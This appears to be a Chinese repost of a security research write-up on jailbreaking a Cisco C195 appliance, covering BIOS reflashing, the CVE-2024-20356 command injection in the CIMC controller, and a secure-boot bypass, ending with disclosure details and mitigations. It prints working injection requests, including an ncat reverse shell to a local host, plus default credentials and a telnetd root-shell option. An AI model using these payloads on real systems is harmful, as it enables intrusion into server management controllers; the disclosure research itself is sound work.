思科C195是思科电子邮件安全设备。其角色是作为您网络边界上的SMTP网关。该设备(以及整个设备系列)被高度锁定,防止未经授权的代码运行。
来源:https://www.melbourneglobal.com.au/cisco-esa-c195-k9-esa-c195-email/
我最近拆开了其中一台,以便将其重新用作通用服务器。在网上阅读了有关该设备的信息后,一些人提到,出于安全原因,设计上防止绕过安全启动以运行其他操作系统是不可能的。
在这次冒险中,思科C195设备家族被越狱,以运行非预期的代码。这包括在CIMC体管理控制器中发现的一个漏洞,该漏洞影响了一系列不同的设备,其中一个经过身份验证的高权限用户可以获得服务器BMC的基础root访问权限(CVE-2024-20356),该BMC本身具有对系统中各种其他组件的高级访问权限。最终目标是运行DOOM——如果智能冰箱可以做到,为什么思科不行?
我们已经发布了一个完整的工具包,用于检测和利用这个漏洞,可以在下面的GitHub上找到:
GitHub: https://github.com/nettitude/CVE-2024-20356
本文稍后将展示工具包的使用。
BIOS黑客攻击
在引擎盖下,思科C195设备是C220 M5服务器。这个设备在许多不同的设备中都有使用。初始产品被调整以满足目标设备的需求。这本身是一种常见的技术,也是从已知的强大设计中创建一系列产品的有效方法。虽然这有其优点,但这意味着任何在底层设计、支持硬件或软件中的缺陷都会在多种设备类型中显现出来。
C195是一个1U设备,旨在处理电子邮件。它运行由设备中的两个磁盘提供的定制思科软件。我想将设备用于其他目的,但由于限制措施防止设备启动未经授权的软件,我无法这样做。这对产品来说是一个很好的安全特性,但确实限制了它们的使用方式。
从外部第一眼看,没有明显的品牌标识表明这是一台思科UCS C220 M5。打开盖子后,一些标签显示了服务器的真实身份。此外,设备背面的一个盖子,当拧开螺丝后,露出了一个VGA端口。背面还有许多其他端口,如控制台(思科串行)和RPC(CIMC)。RPC端口连接到一个网络,但设备没有响应。
启动设备显示了带有思科品牌的AMI BIOS。配置本身被锁定,许多配置选项被禁用。设备实现了一个强大的安全启动设置,只有思科批准的ESA/思科设备EFI文件才能执行。
我可以在这里详细介绍尝试了什么,但长话短说,我看不到、修改或运行很多东西。
BIOS是这次攻击链的第一个目标。我有兴趣看看不同的BIOS版本如何影响设备的运行。新功能通常带有新的攻击面,这为探索提供了潜在的新向量。
设备运行的是一个过时的BIOS版本。一些提供更新BIOS的工具由于锁定的安全启动配置而不允许运行。通过移除闪存芯片、升级BIOS并将芯片重新放回主板上,尝试并测试了不同版本的BIOS。为了使这个过程更容易,我在主板上创建了一个DIY插座和一个小支架,以便在飞行中轻松重新刷新设备。当连续读取/观察写回闪存的数据类型以及存储方式时,这尤其重要。
请注意,总共有三个芯片——底部的绿色闪存用于CIMC/BMC,中间用红色标记的是主BIOS闪存,顶部的一个(稍微不在画面中)是备份BIOS闪存。
CH431A 是一个非常强大、性价比高的设备,它作为物联网黑客攻击的多功能工具(使用3.3v修改)。它的核心设计是作为SPI编程器,但也具有UART接口。简而言之,您可以从目标PCB上连接或移除与SPI兼容的闪存芯片,并使用编程器与设备交互。您可以完全1:1备份该芯片,以防出现问题,您可以恢复原始状态。除此之外,您还可以篡改或写入芯片。
下面的截图显示了使用flashrom和CH341A读取中间闪存芯片。如果跟随操作,重要的是要制作一份或两份或三份固件的副本——保持这些安全并存储原始版本的MD5哈希。
UEFITool 是一种很好的可视化现代UEFI BIOS不同部分的方式。它提供了不同部分及其功能的细节。在最新版本中,标记了可以查看Intel BootGuard受保护区域的能力,这在攻击UEFI实现时尤其重要。
关于篡改BIOS,我们为什么不能直接用一个没有启用安全启动的版本替换BIOS,有允许我们启动其他EFI文件的密钥,或者允许我们启动我们自己的代码的后门呢?Intel BootGuard。这不太为人所知,但确实是基于Intel产品的一个非常整洁的功能。它本质上是BIOS本身的安全启动。使用板载保险丝将公钥烧录到CPU中。这些公钥可用于验证正在加载的固件。Intel BootGuard有很多内容,但为了保持这篇文章简短(ish),现在你只需要知道的是它是一个基于硬件的根信任,这意味着你不能直接修改固件的部分。注意,它不包括整个闪存芯片,因为这也用于用户配置/存储,这不容易签名。
获得了最新的固件ISO,并提取了BIOS .cap
文件。
.cap
文件包含2048字节的头部,包含有关固件的重要信息。这将由内置工具读取以更新BIOS,确保一切都是正确的。去掉头部后,需要使用bzip2解压缩。
更新的BIOS映像包含将放置在BIOS区域的信息。注意,我们不能直接将bios.cap
文件闪存到闪存芯片上,因为缺少重要部分,如Intel ME部分。
.cap
文件本身还有一个0x10D8
(4312)的头部,可以使用十六进制编辑器或DD去掉。
更新文件和原始BIOS在开始时应该看起来有些相似。然而,更新文件缺少重要部分。
为了只更新BIOS区域中的内容,我们可以从0x1000000
(16777216)开始将更新文件复制到闪存文件的同一位置。DD可以用来完成这个任务,通过获取闪存的前半部分,更新的后半部分,并将它们合并在一起。
原始固件的大小应该与我们的新更新固件相匹配。
为了确保一切正常,我们可以使用UEFITool进行检查,以确保没有发生重大错误。下面的截图显示一切看起来都很好,BIOS区域中新卷的UUID已经更新了。
以获取闪存转储的相同方式,可以放回更新后的映像。
随着BIOS更新到最新版本,现在可以使用一些新功能。BIOS屏幕现在提供了配置CIMC的选项!结果!唉,我们仍然不能进行有意义的配置更改,禁用安全启动或启动我们自己的代码。
与此同时,我们发现CIMC被配置为静态IP 0.0.0.0
。这将解释为什么我们之前不能与它交互。设置了一个新的IP地址,我们有了新的攻击面可以探索。
CIMC,即思科集成管理控制台,是一个基于ASPEED-Pilot-4的小型机载体管理控制器(BMC)。这是一个设备的远程控制器,因此可以用作KVM和电源管理解决方案。在这种实现中,它被用来处理如电源管理、风扇控制等核心系统功能。
CIMC本身带有默认用户名“admin
”和默认密码“cisco
”。CIMC可以位于专用接口或共享板载NIC上。CIMC对BIOS、外围芯片、板载CPU以及C195/C220上运行的其他系统拥有完全控制权。
此时,用户可以自由地将CIMC更新到最新版本并进行配置更改。无法禁用安全启动过程或运行除签名的思科设备操作系统之外的任何其他代码。尽管我们有配置安全启动密钥的选项,但这些密钥并未生效,也没有进行任何关键配置更改。CIMC在仪表板上识别出它是C195设备。
在这个阶段,可以使用更新/闪存工具将CIMC更新到其他版本。
CVE-2024-20356: 命令注入漏洞
包含BIOS更新的ISO文件也包含了CIMC固件的副本。
这个固件,和BIOS一样,对于基础型号C220设备来说相当通用。它被设计为识别设备的型号,并相应地进行适当的调整,例如锁定某些功能或提供新功能。这在生产中节省了时间,因为一个良好的固件构建可以用于多种设备而不会出现重大问题。
由于这个固件被设计为适应多种设备类型,我们在途中观察到了一些有趣的文件和特性。
位于/firmware/cimc/
中的cimc.bin
文件包含了大量信息。
可以使用binwalk工具来探索这些信息。在高层次上,binwalk会寻找文件中的模式,以识别潜在嵌入文件、文件系统或数据的位置。它还可以使用这个工具来提取。下面的截图显示了一个常见的嵌入式uBoot Linux系统,它使用压缩的squashfs文件系统来保存根文件系统。
在查看这些文件系统时,发现了一些有趣的文件。位于/usr/local/lib/appweb/liboshandler.so
的库被用来处理对Web服务器的请求。此文件包含调试符号,使理解类结构以及函数用途变得更容易。使用Ghidra对库进行了反编译。
发现ExpFwUpdateUtilityThread
函数,属于ExpUpdateAgent
,受到命令注入漏洞的影响。用户提交的输入进行了验证,但是允许使用某些字符,这些字符可以用来执行超出预期应用程序范围的命令。
/* ExpFwUpdateUtilityThread(void*) */
void *ExpFwUpdateUtilityThread(void *param_1)
{
int iVar1;
ProcessingException *pPVar2;
undefined4 uVar3;
char *pcVar4;
bool bVar5;
undefined auStack192 [92];
basic_string<char,std::char_traits<char>,std::allocator<char>> abStack100 [24];
ExpFwUpdateUtilityThread
函数是从API请求expRemoteFwUpdate
调用的。它接收四个参数,似乎提供了更新SAS控制器或驱动器固件的能力。路径参数针对已知良好字符列表进行了验证,其中包括$
、(
和)
。函数使用用户提供的数据对以下字符串进行字符串格式化:curl -o %s %s://%s/%s %s
。在成功验证用户提供的数据后,格式化后的字符串被传递到system_secure()
,它执行了额外的验证,但仍然允许可以用于通过替换注入命令的字符。
/* ExpFwUpdateUtilityThread(void*) */
if (local_24 == 0) {
iVar1 = strcmp(var_param_type,"tftp");
if ((iVar1 == 0) || (iVar1 = strcmp(var_param_type,"http"), iVar1 == 0)) {
memset(&DAT_001a3798,0,0x200);
snprintf(&DAT_001a3798,0x200,"curl -o %s %s://%s/%s %s","/tmp/fwimage.bin",var_param_type,
var_host,var_path,local_48);
iVar1 = system_check_user_input(var_host,"general_rule");
if ((iVar1 == 0) ||
((iVar1 = system_check_user_input(var_param_type,"general_rule"), iVar1 == 0 ||
(iVar1 = system_check_user_input(var_path,"general_rule"), iVar1 == 0)))) {
bVar5 = true;
}
else {
bVar5 = false;
}
if (bVar5) {
pPVar2 = (ProcessingException *)__cxa_allocate_exception(0xc);
ProcessingException::ProcessingException(pPVar2,"Parameters are invalid");
/* WARNING: Subroutine does not return */
__cxa_throw(pPVar2,&ProcessingException::typeinfo,ProcessingException::~ProcessingException);
}
set_status(1,"DOWNLOADING",'�',local_2c,local_28);
system_secure(&DAT_001a3798);
}
调用以下函数来检查输入是否符合允许字符列表。
undefined4 system_check_user_input(undefined4 param_1,char *param_2)
{
int iVar1;
char *local_1c;
undefined4 local_18;
char *local_14;
undefined4 local_10;
undefined4 local_c;
local_c = 0xffffffff;
iVar1 = strcmp(param_2,"password_rule");
if (iVar1 == 0) {
local_1c =
" !\"#$&'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\_abcdefghijklmnopqrstuvwxyz{|}";
local_18 = 0x57;
local_c = FUN_000d8120(param_1,&local_1c);
}
尽管ExpFwUpdateUtilityThread
函数对用户输入进行了一些检查,但使用另一个允许字符列表进行了额外的检查。
undefined4 system_secure(undefined4 param_1)
{
undefined4 uVar1;
char *local_10;
undefined4 local_c;
local_10 =
" !\"#$&'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\_abcdefghijklmnopqrstuvwxyz{|}";
local_c = 0x57;
uVar1 = system_secure_ex(param_1,&local_10);
return uVar1;
}
system_secure
函数调用 system_secure_ex
,在通过验证后,使用 system()
执行提供的命令。
int system_secure_ex(char *param_1, undefined4 param_2)
{
int iVar1;
int local_c;
local_c = -1;
iVar1 = FUN_000d8120(param_1, param_2);
if (iVar1 == 1) {
local_c = system(param_1);
}
else {
syslog(3,"%s:%d:ERR: The given command is not secured to run with system()n", "systemsecure.c ",
0x98);
}
return local_c;
}
我们可以利用从上述库学到的知识,尝试利用这个问题。这可以通过使用 $(echo $USER)
来实现,以便将文本替换为当前用户名。该函数本身旨在使用 curl
向第三方请求,以下载固件更新。我们可以使用此功能来泄露我们执行的命令。
以下查询可用于演示命令注入:
set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(echo $USER)")
这可以放置在对 https://CIMC/data
的 POST 请求中,使用管理员的 sessionCookie
和 sessionID
。
POST /data HTTP/1.1
Host: 192.168.0.102
Cookie: sessionCookie=ef4eb2e3b0[REDACTED]
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.0.102/index.html
sessionID=2132002102bb[REDACTED]&queryString=set%253dexpRemoteFwUpdate(%25221%2522%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(echo%2520%2524USER)%2522)
这在下面的截图中显示。
当请求发出时,攻击者的Web服务器接收到命令输出。
拥有对Cisco集成管理控制台的底层系统访问权,通过破坏机密性、完整性和可用性,带来了重大风险。有了这种访问级别,威胁行为者能够在运行的系统上读取、修改和覆盖信息,鉴于CIMC在整个设备中具有高度的访问权限。此外,由于底层访问权限授予了固件本身,这带来了一个综合风险,攻击者可能会在固件中引入后门,并防止用户发现设备已被破坏。最后,如果固件被修改,可用性可能会受到影响,因为它可能会被破坏,以防止设备在没有恢复方法的情况下启动。
这可以进一步发展,使用以下查询字符串从BMC获取完整的反向shell:
set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(ncat 192.168.0.96 1337 -e /bin/sh)")
在完整的请求中,这将编码为:
POST /data HTTP/1.1
Host: 192.168.0.102
Cookie: sessionCookie=05f0b903b0[REDACTED]
Content-Length: 228
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.0.102/index.html
sessionID=1e310e110fb[REDACTED]&queryString=set%253dexpRemoteFwUpdate(%25221%2522%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(ncat%2520192.168.0.96%25201337%2520-e%2520%252fbin%252fsh)%2522)
这在下面的截图中显示。
然后在1337端口上接收到底层BMC的完整root shell。下面的截图通过识别当前用户、版本和CPU类型来演示这一点。
注意: 要获取 sessionCookie
和 sessionID
,用户必须使用默认凭据 admin
和 password
以管理员身份登录。sessionCookie
可以从响应头中获取,sessionID
可以从响应体中的 <sidValue>
下获取。
所以,我们有能力在CIMC上执行命令。下一步涉及自动化这个过程,以便于实现我们运行 DOOM 的目标。
就目前而言,命令注入漏洞是盲注的。你需要利用底层的 curl
命令来泄露数据。这对于小的输出没问题,但当URL限制被触发,或者包含不寻常的字符时就会出问题。
另一种泄露信息的方法是通过将文件写入具有特定文件名的Web根目录来识别nginx配置中的正则表达式。
配置中的以下部分用于仅在Web根目录中提供特定文件。这包括常见的文档,如 index.html
、401.html
、403.html
等。文件名 “in.html
” 匹配此正则表达式,目前尚未使用。
工具包使用此方法来获取命令输出。命令输出被写入 /usr/local/www/in.html
。
CVE-2024-20356: 漏洞利用工具包
为了自动化这个过程,我创建了一个名为 CISCown 的工具,它允许您测试漏洞、利用漏洞,甚至打开一个 telnetd root shell 服务。
漏洞利用工具包接受一些参数:
-
-t
目标(TARGET) -
-u
用户名(USERNAME) -
-p
密码(PASSWORD) -
-v
详细模式(VERBOSE),获取有关 CIMC 的更多信息 -
-a
动作(ACTION)-
“test” 尝试通过将一个随机数输出到 “in.html” 并读取它来利用命令注入 -
“cmd” 执行命令(如果提供 -c,则为默认选项) -
“shell” 执行 “busybox telnetd -l /bin/sh -p 23” -
“dance” 启动灯光秀
-
-
-c
命令(CMD)
工具包可以在下面的 GitHub 上找到:
GitHub: https://github.com/nettitude/CVE-2024-20356
以下是工具使用的一些示例。
测试漏洞:
利用漏洞执行 id
命令:
利用漏洞执行 cat /proc/cpuinfo
检查使用的 CPU:
利用漏洞获得完整的 telnet shell:
利用漏洞来启动灯光秀(是的,工具包里有这个功能):
破坏安全启动链
虽然我们在BMC上有root访问权限,但我们仍然不能在主服务器上运行自己的代码。即使在BIOS和Web CIMC管理页面修改了一些设置后,也无法运行未经Cisco设备密钥签名的EFI文件。
下面的启动菜单只包含一个启动设备,EFI shell。
如果插入USB闪存盘,设备会抛出Secure Boot Violation
警告,并退回到EFI shell。
即使使用EFI shell也无法启动未经Cisco签名的EFI文件。
禁用安全启动的选项仍然是灰色的。
通常,安全启动基于四个关键数据库:
-
db – 签名数据库 – 允许的签名数据库 -
dbx – 禁止签名数据库 – 撤销签名的数据库 -
kek – 密钥交换密钥 – 用于签名db和dbx的密钥 -
pk – 平台密钥 – 安全启动中的顶级密钥
设备本身只包含授权Cisco设备应用程序/EFI文件的db密钥。这意味着有限制措施限制设备可以启动/加载的内容,包括EFI模块。对设备如何处理安全启动和信任链进行了一些研究。
为了破坏安全启动链,我们需要找到一种方法禁用安全启动或使用我们自己的密钥数据库。UEFI规范规定,供应商可以将这些密钥存储在多个位置,例如BIOS闪存本身、TPM或外部。
在CIMC和BMC周围寻找时,发现了一个在启动时执行的有趣脚本。这个脚本背后的意图是使用适当的安全启动数据库和设置准备BIOS。
该脚本定义了CIMC支持的不同配置文件的多个硬编码位置。
当脚本运行时,设备会获取当前的PID值。在我们的情况下是C195
,是设备的型号。注意,下面的脚本首先尝试从/tmp/pid_validated
获取此值,如果找不到这个文件,它将从平台管理的FRU读取PID。这将显示C195
,然后保存在/tmp/pid_validated
中。
然后脚本将检查所有支持的配置文件中的PID。
它对脚本顶部定义的每种类型的配置文件都这样做。这些配置文件包含所有安全启动密钥数据库,如PK
、KEK
、DB
和DBX
。
检查将PID C195
传递给 is_stbu_rel
,它有一个小的正则表达式模式来确定设备是什么。如果匹配,将配置一些变量,并调用 update_pers_data
设置要使用的安全启动配置文件。配置文件是BIOS用作安全启动密钥存储的内容。
这里的链式信任如下:
-
FRU -> BMC,带有PID值 -
BMC -> BIOS,带有安全启动密钥
由于我们已经破坏了BMC,我们可以拦截或修改这个过程,使用我们自己的PID或密钥。通过创建或覆盖 /tmp/pid_validated
文件,我们可以欺骗 bios_secure_vars_setup.sh
,让它认为设备是其他型号,并提供一组不同的密钥。
以下示例演示将设备更改为 ND-NODE-L4
配置文件,该配置文件支持更广泛的允许EFI模块和供应商。
注意:在此阶段备份BIOS!
首先关闭设备,并确保您已备份BIOS。这是重要的一步,因为修改不授权核心组件运行的安全启动密钥可能会阻止设备启动(基本上就是砖化)。
PID如下:C195
。
/tmp/pid_validated
文件被新的PID ND-NODE-L4
覆盖。
再次运行 bios_secure_vars_setup.sh
脚本以重新初始化安全启动环境。
然后可以重新启动设备。启动设备后,从以太网控制器中可用的其他启动设备。这是一个好兆头,因为这意味着加载了更多的EFI模块。
可以使用启动设备管理器或EFI shell启动到包含支持UEFI的操作系统的外部驱动器。在我的情况下,我使用的是插入设备背面的USB闪存盘。
与访问被拒绝的错误不同,bootx64.efi
成功加载,Ubuntu启动,证明我们现在可以在Cisco C195电子邮件设备上运行非标准代码。
最后完成主要目标:
总结来说,可以按照这个攻击链来改变Cisco设备,让其运行DOOM游戏。整个链条包括:
-
修改BIOS以使CIMC暴露给网络。 -
利用远程命令执行漏洞(CVE-2024-20356)通过网络攻击CIMC管理系统,以获得系统关键组件的root访问权限。 -
最后,通过修改设备PID来破坏安全启动链,使用其他安全启动密钥。
为了解决这个漏洞,最好遵循以下建议,以减少被利用的可能性和影响:
-
更改默认凭据,并坚持强密码策略。 -
更新设备到修补CVE-2024-20356的版本。
披露
虽然在Cisco设备上运行DOOM看起来可能很酷,但所利用的漏洞确实对服务器上存储和处理的数据的机密性、完整性和可用性构成威胁。这个问题本身可以用来给机器设置后门,运行未授权的代码,特别是考虑到体管理控制器在整个设备中具有高度的访问权限。
本文测试的产品是C195/C220 M5 - CIMC 4.2(3e)
。然而,由于固件在不同设备上都有使用,这个漏洞将影响多种不同的产品。受影响的完整列表可以在Cisco的网站上找到:
Cisco Security Advisory
Cisco最初在2023年12月6日被告知这个问题,并在12月7日开始进行分类。Cisco PSIRT在初次联系后24小时内做出了响应,并立即开始进行修复。公共披露日期定在2024年4月17日,CVE-2024-20356由供应商分配,严重程度被评为高(CVSS得分为8.7)。我要感谢Todd Reid、Amber Hurst、Mick Buchanan和Marco Cassini等来自Cisco的同事与我们合作解决这个问题。
原文始发于微信公众号(3072):CVE-2024-20356:越狱 Cisco 设备以运行 DOOM
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论